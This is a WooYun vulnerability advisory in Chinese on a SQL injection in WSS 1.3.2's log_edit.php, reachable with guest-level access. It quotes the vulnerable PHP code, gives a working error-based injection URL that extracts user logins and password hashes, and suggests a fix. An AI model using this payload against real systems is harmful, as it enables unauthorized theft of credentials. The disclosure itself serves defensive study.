当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084199

漏洞标题：WSS最新版某处SQL注入直接获取数据四

相关厂商：WSS Lab

漏洞作者： xfkxfk

提交时间：2014-11-24 11:15

修复时间：2014-12-31 11:16

公开时间：2014-12-31 11:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-23： 细节向核心白帽子及相关领域专家公开
2015-02-02： 细节向普通白帽子公开
2015-02-12： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

WSS最新版多处SQL注入直接获取数据四，访客即可注入拿数据

详细说明：

WSS最新正式版1.3.2，某处SQL注入直接获取数据，访客权限即可注入拿数据
首先介绍下WSS的用户角色：

管理员MM_rank=5
项目经理MM_rank=4
普通用户MM_rank=3
访客MM_rank=2
只读MM_rank=1


在WSS系统里面部分文件和功能判断了MM_rank值，即权限问题
也有部分文件和功能没有权限判断和限制，前面的两个漏洞都是没有权限限制的
这里我们要讲的漏洞是MM_rank大于等于2的用户就能注入，访客即可
文件log_edit.php

<?php require_once('config/tank_config.php'); ?>
<?php require_once('session.php'); ?>
<?php
$restrictGoTo = "user_error3.php";
if ($_SESSION['MM_rank'] < "2") {   
  header("Location: ". $restrictGoTo); 
  exit;
}
$logdate = $_GET['date'];
$taskid = $_GET['taskid'];
$nowuser = $_SESSION['MM_uid'];
$self_url =  "http://".$_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$self =  substr($self_url , strrpos($self_url , '/') + 1);
$host_url=str_replace($self,'',$self_url);
......
mysql_select_db($database_tankdb, $tankdb);
$query_log = sprintf("SELECT *, 
tk_user1.uid as uid1, 
tk_user2.tk_display_name as tk_display_name2 
FROM tk_task_byday 
inner join tk_task on tk_task_byday.csa_tb_backup1=tk_task.TID 
inner join tk_user as tk_user2 on tk_task_byday.csa_tb_backup2=tk_user2.uid 
inner join tk_user as tk_user1 on tk_task.csa_from_user=tk_user1.uid 
WHERE csa_tb_year=$logdate AND csa_tb_backup1= %s ", GetSQLValueString($taskid, "text"));
$log = mysql_query($query_log, $tankdb) or die(mysql_error());
$row_log = mysql_fetch_assoc($log);
$totalRows_log = mysql_num_rows($log);


注意这里的$logdate = $_GET['date']，没有任何过滤
然后进入$query_log变量时，也就是这里要执行的sql语句时，没有使用GetSQLValueString函数处理，也没有单引号保护，直接进入sql语句，导致sql注入

漏洞证明：

http://localhost/wss/log_edit.php?date=1%20and%201=2%20union%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(0x23,tk_user_login,0x23,tk_user_pass)%20from%20tk_user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%23&taskid=1


注入结果证明

1.png

修复方案：

GetSQLValueString($logdate, "date")

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-31 11:16

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-24 11:27 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    总编太彪悍了。